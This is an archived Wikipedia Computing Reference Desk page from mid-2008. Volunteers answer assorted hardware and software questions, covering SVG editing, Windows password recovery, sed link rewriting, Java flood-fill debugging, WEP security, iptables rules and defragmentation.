If your requirement is to run ad hoc scripts written in a VBScript-like language, then you can use the compiler classes in .NET to compile your script into a .NET assembly, and then load and run it. Once you've written your original utility which compiles the scripts (you'll need Visual Studio for this) you can then compile and run scripts using just the standard .NET CLR. KiwiBiggles (talk) 03:47, 13 July 2008 (UTC)

Uh, just in case anyone is wondering, that would not be a trivial thing to do. --98.217.8.46 (talk) 16:27, 13 July 2008 (UTC)

July 13

Editing SVG files

The Gamma function along part of the real axis

I run a PC with XP. I have both Paint Shop Pro X and have downloaded Inkscape. Both programs when I endeavour to edit Image:Gamma plot.svg omit the red lines. Why? What can be done about it? -- SGBailey (talk) 00:04, 13 July 2008 (UTC)

Inkscape doesn't seem to like the stroke style used to draw the red lines. Here's how to edit everything - open the diagram in inkscape, edit>selectAll, then set the stroke-style to flat colour. That zaps the colour info, but does make all the lines visible (and restoring the colour info shouldn't be much work). -- Finlay McWalter | Talk 00:15, 13 July 2008 (UTC)

On looking at it, the affected objects have

stroke:currentcolor

definitions, and this Inkscape bug suggests Inkscape doesn't render that correctly. Indeed some of those reporting on that bug complain they get it with SVGs generated by GNUplot, which generated this particular plot. -- Finlay McWalter | Talk 00:21, 13 July 2008 (UTC)

Yeah, doing a replace-All (in emacs) of "currentcolor" with "red" (just as an example) fixes the problem (there's a few too many red things, but that's easy fixed). __ Finlay McWalter | Talk 00:25, 13 July 2008 (UTC)

Thanks -- SGBailey (talk) 11:22, 13 July 2008 (UTC)

Admin. Password win. XP

on a visit to my Grandpa's (a rare ocassion) i found that his pc was not working properly, when i turned it on a HP invent logo popped up for a long time and than after a long time it would say something like boot disc failure... well anyways after mch trouble i managed to find out that the harddrive was the problem, so i ran over to circuit city and bought a new one real quick and then plugged everything back in and ran te system recovery discs (took a ver long time cuz there are 8 discs and all of them take around 20 minutes)

Well anyways now everything looks great although when turned on it goes to a login screen, the only acount being the adminstrator's, ive tried a TON of different things including just leaving it blank but nothing will work...

This computer happens to be my uncle's who passed away recently so there is no way to ask him what he had the password set as, even though i do not think that would be the problem cause i switched out the harddrive Any suggestions on what i am supposed to do, everything will be much appreciated, please excuse my formating errors —Preceding unsigned comment added by 67.190.43.252 (talk) 03:33, 13 July 2008 (UTC)

There are quite a lot of utilities that will help you with this. Try http://home.eunet.no/~pnordahl/ntpasswd/. Basically this (and all the others like it) have you boot to a floppy disk which runs a flavour of Linux, and mounts your NTFS hard disk. It then has a utility which lets you set the Administrator password for Windows. Of course it gives you call kinds of scary warnings, but I've used it several times on systems where the user has disappeared or forgotten their local admin password, and it's always worked reliably for me. Hope this helps. KiwiBiggles (talk) 03:44, 13 July 2008 (UTC)

Merging iTunes Playlists

How would I go about merging 2 iTunes playlists? I have been ripping my music at the highest bitrate for several weeks now... and the 320gig external HDD I assumed would be large enough just topped out. So I am going to move that file to one of the teraboxes I have, but none of them atm has enough room itself for the folder, so I would like to continue ripping my music from CD's to another external hard drive, and later when I get the space issues all figured out, merge them into one folder, and one playlist. so my question is, how do I go about doing that? Is it even possible?

Sorry if this has been gone over before, I searched and searched but couldn't find anything in the archives. Dureo (talk) 03:53, 13 July 2008 (UTC)

There are options to import/export songs in the File menu, but I'm not sure if this is what you're looking for. Do you want your whole library or a custom playlist? --Russoc4 (talk) 19:12, 13 July 2008 (UTC)

I just want to continue burning to an addt ext hdd, and once I get another larger ext hdd, merge it all into one big music folder. Dureo (talk) 20:00, 13 July 2008 (UTC)

I really don't think you can have your iTunes library in several locations across several hard drives -- at least not with vanilla iTunes. This is the kind of a thing some user might well have created a modification for, of course, but iTunes itself does not appear to have this kind of functionality. At least no user-adjustable setting seems to have anything like this. -- Captain Disdain (talk) 23:46, 13 July 2008 (UTC)

Reshuffling the directory structure of a website

I've inherited several fairly large chunks of a much larger website, and the maintenance of the former (all conveniently mirrored on my hard drive and in a USB memory thingie). Let's say that the former chunks are

• www.domain.tld/business/........
• www.domain.tld/this/is/a/long/path/personal/........
• www.domain.tld/css/........
• www.domain.tld/image/........

with subdirectories aplenty. All the links among these are relative, and there are plenty of links between the first two. (There are few links from elsewhere in the larger site to "my" chunks.) I now want to change the first two to, say

• www.domain.tld/main/business/........
• www.domain.tld/main/personal/........

Of course I'd do this to the image on my hard drive, check all the links, add redirects from the old addresses, and then uplod the lot.

There are so many links to change that doing this would be rather tedious but tolerable. There aren't so many links to change that I'd want to be bothered to learn perl (?) or awk (?) in order to automate the job. I wonder, however, if some obliging person might have written some software that presents a form asking for information about where things are now relative to the root, and where you want them relative to the root, and that then edits the files accordingly.

Half the files are in Shift-JIS, half in UTF-8; half are in HTML, half in XHTML. I have access to computers that run Kubuntu, Mac OS 10.5, and Windows Vista. -- Hoary (talk) 07:40, 13 July 2008 (UTC)

Cook links don't change, but you could alias it to provide access from the long and short versions. The advantages of this would be the ability to use short links while not needing to worry that you haven't caught every link that needs to be changed. You can set up an alias in whatever your website config files are (eg: Apache.conf).

To change the urls, I'd back up all the files, then use the following script:

 
 for A in $(find . -name '*.html' -print);
 do
    echo "Will update $A";
    # sed --in-place -re 's/\/this\/is\/a\/long\/path\//\/this\/is\/a\/short\/path/g' "$A";
 done;

Run it once to list the files which will be changed (all the *.html files in this case), then run it with the sed line uncommented to actually do it. You should edit the 's/.../.../g' part to have the old path in the first bit and the new path in the second bit, with the slashes escaped with a backslash (ie / becomes \/). This is a regular expression, so avoid the special regexp characters. --h2g2bob (talk) 15:46, 13 July 2008 (UTC)

Thank you. I do like this "software tools" approach. Of course I'd back up all the files -- actually they all add up to very little compared with even your bog standard 1GB USB memory device, so I can have multiple mirrors and only ftp one of these when I'm sure I've got it right. -- Hoary (talk) 23:52, 13 July 2008 (UTC)

I use Adobe Dreamweaver at work, and it can do this very neatly, moving the files and updating the linked references. Check Category:Web development software, especially Category:Content management systems for other applications. --—— Gadget850 (Ed) ^talk - 15:27, 13 July 2008 (UTC)

Moving the files is of course trivial, it's updating the links that's irritating. I believe that Dreamweaver costs real money: OK if I had reason to use it later, but not otherwise. As for Category:Content management systems, they're described in opaquely abstract terms ("a system used to organize and facilitate collaborative content creation" etc etc) so I'm lost. Category:Open source content management systems is a bit more promising, but somehow I think that using sed will take less time than even locating the right CMS tool for the job. Still, thank you for trying to help, and I may yet have a follow-up question. -- Hoary (talk) 23:52, 13 July 2008 (UTC)

Technology behind the PS3's on/off switch

What is the technology behind the PS3's on/off switch (the one at the front of the console). I can't see any mention of it in the PS3 article. Thanks PSIII (talk) 08:36, 13 July 2008 (UTC)

I don't know exactly. I'm pretty sure it's checking for conductivity across the two metal pieces. Try putting a screwdriver across them. It works fine, but if you use a plastic piece it won't work. APL (talk) 14:50, 13 July 2008 (UTC)

I don't know this switch but I'm quite familiar with switch technology - do you have to press it/just touch it/just let your finger go near it without touching?87.102.86.73 (talk) 15:28, 13 July 2008 (UTC)

I'm guessing that it's a 'hi-tech' switch so maybe Touch switch will be useful.87.102.86.73 (talk) 15:33, 13 July 2008 (UTC)

Looking at that article I'll bet it's a "Resistance touch switch". The two electrodes double as the icon indicating the switch. APL (talk) 17:38, 13 July 2008 (UTC)

Warning: Original Research! Experimentation by poking it (and the eject button) in different ways suggest it's a capacitance switch. Neıl ☄ 15:09, 14 July 2008 (UTC)

Fun fact: The PS3 reads you mind. There is not spo..button. --mboverload@ 20:13, 14 July 2008 (UTC)

Getting rid of 3dsps.x3d trojans.

Sorry if this question has been asked many times before, but at this point I'm really worried. I have Norton Internet Security and AntiVir installed on my computer; last night, when Norton was scanning the computer, it found three trojan horses {3dsps.x3d type, which I found out to be known also as Win32.TrojanSpy.Peed}. Basically, Norton detected them, but stated not to be able to delete/put them into quarantine; therefore, I started looking for possible solutions on the web, only suceeding in downloading programs which were not compatible with Vista{which I have} or scanned my computer and then needed to be purchased in order to destroy the adware/malware and such, which I can't afford at the moment. Weird thing, not all of these programs {like Avast} detected the trojans; anyway, I thought I had solved the problem when I downloaded SUPERantispyware, which I had seen rated well on different sites; point is, when I scan my computer with it, it finds only cookies. Norton meanwhile keeps telling me I have those three trojans; it tells me where they should be, it's a file I downloaded from the Net, but when I scan it with other programs {SUPERantispyware included} it founds nothing but cookies; I would prefer to avoid deleting those file alltogether, because I really need it. Is Norton going crazy? If not, how do I get rid of those 3dsps.x3d trojans, possibly without deleting all the file I downloaded but only the infected part? I will really be grateful if you could help me with this and I apologize it was such a long post. —Preceding unsigned comment added by 79.26.93.138 (talk) 15:17, 13 July 2008 (UTC)

Alternative firmware for Nokia 3220

Is alternative firmware available for my Nokia 3220 phone? If so, what benefits would it confer? NeonMerlin 15:50, 13 July 2008 (UTC)

DVD drive

I'm thinking about getting an IDE CD/DVD-combo-drive-thingy for my comp. When I hook it up: 1) Would I have to use an 80-wire cord, or could I use a 40-wire, 2) Would I need some special software, or could I just immediately play DVDs on Windows Media Player? Thanks, flaminglawyer^c 18:37, 13 July 2008 (UTC)

I believe you are asking if you need to hook your drive to the IDE or Floppy connector. It must connect to IDE. You should have two IDE connectors on the motherboard (having only one is rare - except in new computers where there are two SATA and no IDE connectors). If you already have something plugged into both IDE connectors, note that you can connect two devices on each connector. Some IDE cables only have two plugs (one for the board and one for the drive). Most have three, one for the board, one in the middle for one drive and one on the end for another drive. You will probably need to install drivers for the drive if it has burning capability, but most drives come with a driver disk to make installation easy. -- kainaw™ 19:29, 13 July 2008 (UTC)

If you want to successfully use any of the faster transfer modes, you want the 80 wire cable. Really, nowadays, there's no reason to use the 40 wire cable; the 80-wire is much better at carrying fast signals.

Atlant (talk) 11:46, 14 July 2008 (UTC)

(striking comment above) I see. I didn't realize he was asking about an ungrounded IDE or grounded IDE cable. The grounded one (with 80 wires) is required for successful DMA. -- kainaw™ 11:57, 14 July 2008 (UTC)

On the IDE/ATA bus, DMA is only indirectly related with transfer modes/rates. Whether the transfer is done using programmed I/O or direct memory access is actually a function of what's going on inside the IDE bus interface chip; nothing different happens on the IDE bus cable. You could program your IDE bus controller to use DMA transfers even at the slowest IDE transfer rates and for these, the older 40-wire cable would suffice. Most people wouldn't do that, of course; they're out for speed so the tendency is to use the fastest supportable IDE bus transfer rate and DMA transfers to/from host memory. And to do those fastest IDE bus transfers, you do need the 80-wire cable. (I once wrote IDE/ATA/ATAPI device drivers for a living.)

Atlant (talk) 19:52, 14 July 2008 (UTC)

LCD display commands

Hi all,

I have one of these alphanumerical LCDs attached at a C-Control. As most of these LCDs are standardized (or at least I hope so)... where can I find out a list of commands I can send to them?

Thanks,HardDisk (talk) 18:44, 13 July 2008 (UTC)

PS: Yeah, I have googled, but I found only documents which state how to utilize the D0-7 pins, but I need the hexadecimal stuff (for example 01h=CLS). HardDisk (talk) 18:53, 13 July 2008 (UTC)

Manufacturer data sheets are the way to go. A quick google search for "DEM16217" (the code on the example illustrated to the right) brought up this PDF datasheet which seems pretty comprehensive. Astronaut (talk) 22:52, 13 July 2008 (UTC)

The alphanumeric LCD standard is called 74HC164. Here is a nice tutorial to interface it with an AVR micro controller. --antilived^{T | C | G} 09:56, 14 July 2008 (UTC)

Two television questions

I've got two questions:

1. On my very old (>10 years) TV, the the picture has shifted to the right a bit, just enough to obscure the last number of CNN's stock display. Is this a sign I need to get a new TV?
2. Does aluminum foil actually improve TV reception? If not, are there any other tips? I have a small battery powered TV and am going to be in Fulton County, Pennsylvania, which is pretty much a dead spot when it comes to over-the-air TV reception.

Thanks, Xenon54 18:52, 13 July 2008 (UTC)

If you are skilled and not afraid of extremely high voltages, open the housing and clean the boards from dust. This helped my dad's old CRT. HardDisk (talk) 18:54, 13 July 2008 (UTC)

And for what the aluminium foil? Better get an active-amplified antenna or satellite dish.HardDisk (talk) 18:55, 13 July 2008 (UTC)

I'm talking about a two-inch TV (for the second one), so it would be a bit hard to hook up a satellite dish. Xenon54 19:03, 13 July 2008 (UTC)

You take the satellite reciever's antenna output, take some copper wire and connect the antenna output signal pin to the antenna of the mini tv. HardDisk (talk) 19:07, 13 July 2008 (UTC)

Would this be possible with a regular antenna as well? Xenon54 20:57, 13 July 2008 (UTC)

Question 1

you can adjust this horizontal shift, on old tv s there is often a hole at the back where you insert a (electrically insulated) screwdriver, and turn a variable capacitor/inductor - if you can find the hole, (it should be marked h.shift or h-something) you can adjust it yourself.

alternatively a TV technician can take the tv apart and do this for you. It shoudn't require any new parts and is easily changable.

Obviously don't poke around in the back of the tv unless you know what you are doing.87.102.86.73 (talk) 19:23, 13 July 2008 (UTC)

OR you could get a new tv.. 87.102.86.73 (talk) 19:48, 13 July 2008 (UTC)

I doubt adjusting hshift will work if the thing is dusted...HardDisk (talk) 20:14, 13 July 2008 (UTC)

If it has spontaneously shifted to the right, that probably does indicate there's something wrong with the TV. The adjustment mentioned above may, or may not, fix it. It might last this way for years, though, so, if you can live with it, you can just keep it until it dies completely. I've had many TVs have serious problems that I've learned to live with. I had one which had the volume go to maximum on it's own, so I disabled the internal speakers and used external speakers with a volume control instead. I had another that went to a single horizontal line for a half hour until it warmed up, so I just left it on with no input to the RCA jacks to keep it warm. StuRat (talk) 22:52, 13 July 2008 (UTC)

Aluminum foil can slightly improve reception if you put two balls on the ends of rabbit ears. However, repositioning and/or rotating the antenna is likely to have even more of an effect, so try that first. StuRat (talk) 22:56, 13 July 2008 (UTC)

Java colorisation question

I am implementing a colorisation program in Java Swing. The actual colorisation of black-and-white images is done at the moment with this code:

 private void floodFill(int x, int y, int originalRgb, boolean[][] visited) {
    if (x<0 || x>=160 || y<0 || y>=120) {
      return;
    }
    if (visited[x][y]) {
      return;
    }
        
    int offset = x + image.getWidth() * y;
    int rgb = pixels[offset] & 0xFFFFFF;
    visited[x][y] = true;    
    
    if (Math.abs(value(rgb)-value(originalRgb)) > 0xF) {
      return;
    }
    //pixels[offset] = (0xFF << 24) | rgb;
    pixels[offset] = tint(colours[currentColour].getRGB(), value(rgb));

    floodFill(x-1, y, rgb, visited);
    floodFill(x, y-1, rgb, visited);
    floodFill(x+1, y, rgb, visited);
    floodFill(x, y+1, rgb, visited);
  }
  
  
  private int value(int rgb) {
    int r = (rgb >> 16) & 0xFF;
    int g = (rgb >> 8) & 0xFF;
    int b = rgb & 0xFF;
    return Math.max(r, Math.max(g, b));
  }
  
  
  private int tint(int rgb, int value) {
    int r = (rgb >> 16) & 0xFF;
    int g = (rgb >> 8) & 0xFF;
    int b = rgb & 0xFF;
    int r2 = (int)(r * (value / (double)0xFF));
    int g2 = (int)(g * (value / (double)0xFF));
    int b2 = (int)(b * (value / (double)0xFF));
    return (0xFF << 24) | (r2 << 16) | (g2 << 8) | b2;
  }

The idea is that calling floodFill() on a pixel that the user has clicked on causes a recursive flood fill of all nearby pixels whose HSV value component is similar enough, using the current colour. The colours cycle per click through red, yellow, green, cyan, blue and magenta. The only problem I have is this: Clicking on a part of the image that has already been coloured red causes it to be coloured solid black. This happens only on red parts - clicking on parts that have not been coloured yet, or on parts that have been coloured any other colour, works fine. I can't figure out what is causing this. Can anyone help? JIP | Talk 19:06, 13 July 2008 (UTC)

I haven't read the whole thing, but the rgb = pixels[offset] & 0xFFFF looks fishy. It's only using 16 bits, while the rest of the code is oriented toward 32-bit color (8 bits red, 8 bits green, 8 bits blue, 8 bits alpha?) --tcsetattr (talk / contribs) 20:01, 13 July 2008 (UTC)

I removed the & 0xFFFF operation, but it still doesn't work. Now, an area coloured red stays red forever. Uncoloured areas, or areas coloured any other colour, work fine. What is so damned special about the colour red? JIP | Talk 20:14, 13 July 2008 (UTC)

Hard to say. Still sounds like a plain bug, as in a typo or a logic error somewhere. Can you replace the code above with the exact version you've got now? Also, I see some oddities in your code: for example, it seems you should either pass originalRgb instead of rgb when calling floodFill() recursively, or (depending on which effect you want) you should move the visited[x][y] = true line below the Math.abs(value(rgb)-value(originalRgb)) > 0xF check. The way you have it currently, your flood fill has a directional bias. Anyway, if it's originalRgb you want to compare each pixel against, why not simply compute value(originalRgb) once and pass that around instead of recomputing it each time? —Ilmari Karonen (talk) 13:47, 14 July 2008 (UTC)

I checked it again and found the problem. I had fixed the 0xFFFF bit at the wrong place. The above version is what I have now, and it's working. As for your suggestions, the first one would actually make it worse - I want the value check to happen dynamically: as the flood fill progresses, it's supposed to check for value differences against the current pixel, not against the original one. This way it can find hard edges more effectively. Using the original value will only colour part of the "flat" areas between hard edges. I know, I just tried it. Your second suggestion, though, improves the algorithm, it's now colouring the "flat" areas more thoroughly. Thanks for your suggestions. JIP | Talk 17:13, 14 July 2008 (UTC)

How do I fix a broken link?

The article resulting from searching for the word "Blog" has an external link that is broken. Here is the click-on text of the link in the article's External Link section:

Computer Law and Security Report Volume 22 Issue 2, pages 127-136, "Blogs, Lies and the Doocing" by Syliva Kierkegaard.

70.224.39.60 (talk) 19:35, 13 July 2008 (UTC)

I have no idea how to add or fix one of those references, which is probably a good indication that they are too damn complicated for the average editor to use. However, note that the link to that book under "External Links" at the bottom of the article does work, although it only gives you the abstract and table of contents for free. They want $31.50 to read the full article. That's probably why the ref fails, it's trying to go directly to a section of the article and that's not allowed until you fork over cash. I have reservations about linking to pay sites like this, as it's bound to cause frustration (how many people are willing to pay that much money to verify a source for a Wikipedia article ?). StuRat (talk) 22:15, 13 July 2008 (UTC)

Here's our article: blog.

Here's the broken ref: "In Singapore, two ethnic Chinese were imprisoned under the country’s anti-sedition law for posting anti-Muslim remarks in their weblogs."

Here's the section with the broken ref: Blog#Political_dangers.

Here's the good link: "* Computer Law and Security Report Volume 22 Issue 2, Pages 127-136blogs, Lies and the Doocing by Sylvia Kierkegaard (2006)"

Here's the location of the good link: Blog#External_links. StuRat (talk) 22:23, 13 July 2008 (UTC)

...now the "good link" seems to be failing, too. Perhaps it's using a temporary web address that goes away in short order. StuRat (talk) 22:26, 13 July 2008 (UTC)

I just went to that site and found the abstract again, now let's see if this link breaks after a few minutes: [4]. StuRat (talk) 22:35, 13 July 2008 (UTC)

Wireless network security

My nephew has been bugging me about letting his DS get on the wireless network here at home. However, I'm a bit skittish because the DS doesn't support anything other than WEP. I already do MAC address filtering, but is there anything else I can do to secure the network if I decide to give in? Thanks. 24.8.206.126 (talk) 20:28, 13 July 2008 (UTC)

Everything is hackable when you use WEP. Get some cheap AP and set it up in a way it provides WEP WLAN when your nephew is at home; set it up in a way it can only access the Internet. (and switch it off when your nephew isn't at home so your neighbours can't abuse your connection) HardDisk (talk) 21:18, 13 July 2008 (UTC)

(ec)The only thing I can suggest is to buy (2nd hand) second (a WEP compatible) gateway and run it in the DMZ of you main gateway. That way if someone gets into the WEP (which isn't much of a challenge to a savvy script-kiddie) all he'll get is a free internet connection rather than access to your home network (and so he'll just get you convicted for warez/kiddieporn crimez) - you can always turn that gateway on only when nephew is visiting. Incidentally MAC filtering is essentially useless as a security measure, as WEP/WPA/WPA2 sends the MAC in the unencrypted part of the packet, so it's not very hard for Mr Kiddie to spoof the MAC of a legitimate client. -- Finlay McWalter | Talk 21:25, 13 July 2008 (UTC)

Come off it, how likely that your home network will be seriously compromised during your nephew's brief visit? Set up his MAC address, set up WEP and turn off your PC. Go back to the regular settings when he's gone. Astronaut (talk) 23:02, 13 July 2008 (UTC)

24.8.206.126, if you are technical you can run DD-WRT on your router. You can run WPA and WEP at the same time. Keep in mind that it is well known how to hack a WEP network. It has been done in around 3 minutes at Defcon. However, I don't think anyone cares about your network that much. --mboverload@ 23:05, 13 July 2008 (UTC)

optimise

Somebody asked a question about program efficiency above see Wikipedia:Reference_desk/Archives/Computing/2008_July_10#Efficient_Programming - there were some issues about stacks and recursion etc.. I took a permutation algorthym and tried to remove the recursive calls.. (The aim was to generate all the permutations of 123456789 eg swapping the digits)

I came up with (eventually)

dim a(9) an array holding the digits to be permuted

dim c(9) an array holding the equivalents of the pointers in 9 for/next loops

for x=1 to 9 : a(x)=x : c(x)=x: next x initiate both arrays - they happen to be the same

p=1 this points to the current depth of traversal

LOOP1 : swap ( a( c(p) ) , a( p ) )

increment p

if p<10 the goto LOOP1

print the ouput number formed by a() ie print a(1)*10^9+a(2)*10^8 ..etc

LOOP2 : decrement p

if p=0 then stop

swap ( a( c(p) ) , a( p ) )

increment c(p)

if c(p)<10 then goto LOOP1 equivalent to a "next c() instruction"

c(p)=p this effectively re-initialises a for/next loop

goto LOOP2

As a general method - can anyone recommend improvements? eg for compiled speed?87.102.86.73 (talk) 21:59, 13 July 2008 (UTC)

Can you write up some actual code (FORTRAN, if possible), so I can compare performance with the two methods I've tried already (see previous section) ? StuRat (talk) 03:34, 14 July 2008 (UTC)

Actually I don't know fortan syntax that well.. the dim a(9) I guess is the same as a make_array "a" size 9.

swap a(c(p)),a(p)) can be replaced with z=a(c(p)) : a(c(p))=a(p) : a(p)=z

increment and decrement if not supported is the same as x=x+1 or x=x-1

The 'if's can all be terminated with 'else'

This is the most simple/readable pseudo-code I can make if you want to try translating it:

10 INTEGER_SMALL : x,p,z

12 INTEGER_LARGE : t

20 INTEGER_ARRAY_OF_SMALL : a(9),c(9)

22 INTEGER_ARRAY_OF_LONG : n(362880)

25 t=1

30 for x=1 to 9

40 a(x)=x

50 c(x)=x

60 next x

70 p=1

100 z=a(c(p))

102 a(c(p))=a(p)

104 a(p)=z

110 p=p+1

120 if (p<=9) then goto 100 else continue

150 n(t)=100000000*a(9) + 10000000*a(8) + 1000000*a(7) + 100000*a(6) + 10000*a(5) + 1000*a(4) + 100*a(3) + 10*a(2)+ a(1)

160 t=t+1

170 goto 200 ! delete this if printing is required

180 print n(t-1)

200 p=p-1

210 if (p=0) then stop/end program else continue

220 z=a(c(p))

222 a(c(p))=a(p)

224 a(p)=z

230 c(p)=c(p)+1

240 if (c(p)<=9) then goto 100 else continue

250 c(p)=p

260 goto 200

(one minor correction made)

That's really BASIC which is pretty much "Fortran-lite" - capitalise everything and I imagine it would work..? 87.102.86.73 (talk) 10:43, 14 July 2008 (UTC) (The method does work by the way in basic)

Actually, FORTRAN hasn't required all caps for decades (since 1966 ?), although I sometimes still use them to make it easier to read when displaying many lines at small resolution. I'll convert your program to FORTRAN and give it a try... StuRat (talk) 12:58, 14 July 2008 (UTC)

OK, I convereted to FORTRAN and added some benchmarking code: ([5]). It runs in 0.20 second, so it's about 40% quicker than my fastest method of 0.33 second ... good job ! I do prefer my sorted output in general, however, even though it wasn't a requirement, in this case. PS: I changed the link at the top of this question to a permalink, which will work even after this is all archived. StuRat (talk) 14:49, 14 July 2008 (UTC)

! I am actually suprised it runs faster - I was expecting similar results: there's not much overhead in the other methods.

By the way I think if you replace

150 n(t)=100000000*a(9) + 10000000*a(8) + 1000000*a(7) + 100000*a(6) + 10000*a(5) + 1000*a(4) + 100*a(3) + 10*a(2)+ a(1)

with

150 n(t)=100000000*a(1) + 10000000*a(2) + 1000000*a(3) + 100000*a(4) + 10000*a(5) + 1000*a(6) + 100*a(7) + 10*a(8)+ a(9)

then the output is in order (my mistake again)..

It was immensly confusing making a recursive function non-recursive.. Usually I'd stick with simple - it's easier to de-bug etc..87.102.86.73 (talk) 16:38, 14 July 2008 (UTC)

I thought of that change myself and gave it a try, and it makes it closer to numeric order, but not quite. The last value found is 912345678 now. It should be 987654321 to be in numeric order. As for going with the simplest code when the performance difference is trivial, as in this case between 0.20 seconds and 0.33 seconds, I completely agree. Still, it's good to know the more efficient methods, in case they are ever needed for an app where time is critical. StuRat (talk) 20:23, 14 July 2008 (UTC)

You beat me to it, I just spotted that too.. probably could be fixed with a bubble sort (starting at position P) after each 'up pseudo-recursion level P' loop (or something); which would most likely add .13 (or more) seconds to the time and back where we started.

Even so the method does have one advantage in that it's extensible or contractable to any length (replace all instances of the number 9 with K and begin with a let K=whatever)

I'd probably go with the if/then/do or DIY simple recursion ie use the stack myself (if that's supported) - (it compiles to the same thing - meaning the recursive and self implemented stack using loop and the self made version is likely to be either less complex or the same... : an example of which has been discussed at Wikipedia:Reference_desk/Computing#Implementing a flood fill more efficiently87.102.86.73 (talk) 21:08, 14 July 2008 (UTC)

I'd avoid using a bubble sort for sorting anything more than a dozen items. But, even a far more efficient sort (such as a pointer-based radix sort, in this case) is still likely to increase the elapsed time by more than 0.13 seconds, as you said. StuRat (talk) 23:53, 14 July 2008 (UTC)

Kaspersky conflicts with my game

OK, so I installed the Philippine edition of FreeStyle Street Basketball, and what bothers me is that Kaspersky thinks it's a keylogger. I already added the FS binaries to the whitelist, but still the antivirus is warning me of an unknown keylogger, which I think is the game. Any suggestions? Blake Gripling (talk) 23:15, 13 July 2008 (UTC) ...And where did you get this Philippine version of FreeStyle...?--mboverload@ 01:30, 14 July 2008 (UTC)

Team Fortress 2 crashes

My copy of Team Fortress 2 was working perfectly fine before, all of a sudden, it would go to the begining loading screen and freeze. My game was fine one day, the next, hnaging at startup. Please help fix this. I tried reinstalling, everything steam said to do. None of that worked! --69.127.64.22 (talk) 23:26, 13 July 2008 (UTC)

July 14

C++

I just started C++ today so... I compiled "Hello world". When I run it, a command prompt window pops up for a split second. It pops up and is gone so fast I can even see what happens. This is what I have written:
   #include <iostream>

using namespace std;

int main()

{

cout << "Hello, world!";

return 0;

}

So, can anyone tell me how to fix this so the prompt stays up and I can see the output on the screen? Thanks, Ζρς ι'β' ^¡hábleme! 00:09, 14 July 2008 (UTC)

You've written a console-mode program, so you should run it from the console (aka command prompt). -- Finlay McWalter | Talk 00:14, 14 July 2008 (UTC)

Looks like it's just a command-line program, so if you just double-click the .exe file, it will exit the command window immediately it processes the "return" statement. There are 2 easy solutions:

1. 1. If instead you open a command window, navigate to wherever the .exe file is, and then type in the name of the file, it will exit back to command-line mode without closing the window.
   2. Read the next lesson in your book and add something like "cin >> str;" before the return (of course you will need to give str a type); the program will pause for you to type something before exiting.

Astronaut (talk) 00:24, 14 July 2008 (UTC)

Nevermind, I found i out what the problem was. (I don't have a book, I'm just learning from the web.) I'm using Dev-C++, so before the return 0;, I just needed to put system("pause"). I found out that that's not required in Visual Studio so apparently the person writing the tutorial was using Visual Studio. (It also runs ok from the GUI now that it pauses.) Thanks, Ζρς ι'β' ^¡hábleme! 00:41, 14 July 2008 (UTC)  Done

Windows XP and Core 2 Duo (E8400) - Can't get second core to work.

First, is there something that MUST be done during a Windows XP installation so it will recognize both cores in a dual core CPU? If so, do tell! Otherwise, read on:

1. BIOS setting was ok, I guess. The only option that looked relevant said "SW Single Processor Mode -- Disabled"
2. Windows XP SP2 installed, running as Multiprocessor according to device manager.
3. Device manager shows a single CPU, so does Task Manager.
4. Only one core is visible with cpuz. Intel's diagnosis program tells me the second CPU is "disabled".

Reinstalled Windows, normally. Same thing. Any ideas of what's going on? I've looked in several forums already, no luck. :( — Kieff | Talk 02:01, 14 July 2008 (UTC)

Usually there is nothing you need to do to enable the second core. Have you tried a Linux LiveCD and see if you can use the second core there? If you can't it's probably hardware related. --antilived^{T | C | G} 09:50, 14 July 2008 (UTC)

Each core in multicore processors are usually treated as separate processors, so from memory (its hazy, I'm a proud Linux user), only XP Professional supports two processors. If the version you are using is Home, then the second core will not be used. Rilak (talk) 13:26, 14 July 2008 (UTC)

According to this article, XP Home should support multi-core but it does not support multi-cpu, if that's not just a little confusing.

What version of Windows are you installing? XPHome SP2 should support multi-core, but XP SP0 or SP1 might not ---J.S (T/C/WRE) 02:55, 15 July 2008 (UTC)

how to determine format of a word processing file?

Can someone point me to a way to figure out what word processor created a given file? I have some old files with no extensions. I would have thought that between NeoOffice and the unregistered version of Pages, I'd be able to open any file I'd ever created, but I'm stuck on a few. --Allen (talk) 03:50, 14 July 2008 (UTC)

I presume you're using a Mac given the reference to Pages and NeoOffice. Have you tried using the Get Info (Command + I) function? It should list the file type under "Kind", with or without a file extension. --Canley (talk) 09:45, 14 July 2008 (UTC)

file (Unix)? Mac OS X probably has that hidden in the terminal. --antilived^{T | C | G} 09:49, 14 July 2008 (UTC)

Thanks... Get Info doesn't work because I destroyed some sort of metadata while FTPing the files (I think that's what happened... at least that's when I lost their time stamps). I didn't know about file (Unix), and it does work on some of them, but for the really tough ones it just returns "data". I'm even more baffled what I could have done with these files. --Allen (talk) 14:10, 14 July 2008 (UTC)

I figured it out now... they're just files created by versions of Appleworks that are so old Pages doesn't support them. I was confused because I was under the impression that Pages opened all Appleworks files. Now I'm just frustrated... what does Apple expect us to do with old files? --Allen (talk) 14:26, 14 July 2008 (UTC)

Beyond a certain point, there's diminishing returns on supporting old formats. About all you could really do is A) search for a conversion utility online or B) find an older Mac with AppleWorks that can import the old files and export to another format (RTF is the most likely candidate). — The Hand That Feeds You:^Bite 22:23, 14 July 2008 (UTC)

iptables question

I'm just not figuring this out. I want to drop all inbound connections to a specific port unless those connections originate from a handful of specific IP addresses. Basically, I just want to make a service running on this port only visible to certain hosts. Can anyone give me an example iptables rule? Thanks a lot. 192.156.33.34 (talk) 07:12, 14 July 2008 (UTC)

Sure:

iptables -A INPUT -i eth0 -s 192.168.0.0/16 --dport 80 -j ACCEPT

This rule lets anything from the example IP address range block on the eth0 interface to access port 80 (web server). This rule is the simplest, so it isn't secure. For example, it does not specify the destination IP address or the protocol, etc. Rilak (talk) 13:20, 14 July 2008 (UTC)

If you don't specify the transport layer protocol, you can't specify the port. So:

iptables -A INPUT -i eth0 -s 192.168.0.0/16 -p tcp --dport 80 -j ACCEPT

--Juliano (T) 13:28, 14 July 2008 (UTC)

Yes, I forgot to mention that... funny thing is that I was implementing some NAT rules in iptables just today. Rilak (talk) 13:43, 14 July 2008 (UTC)

Defragment HDD

How long does it take to defragment a 40 GB HDD? If I stop in the middle, will Windows XP make a mess out of my data? If I don't stop, is there still any risk involved? 83.54.217.146 (talk) 09:53, 14 July 2008 (UTC)

The basic advice is never to stop a defragmentation in the middle. How long it takes to defragment depends on whether you're going for a full defragmentation or a quicker version that operates very simply. The risk to your data of just doing a normal defragmentation is minimal to zero (the main problem comes if you get a power cut in the middle). Sam Blacketer (talk) 09:57, 14 July 2008 (UTC)

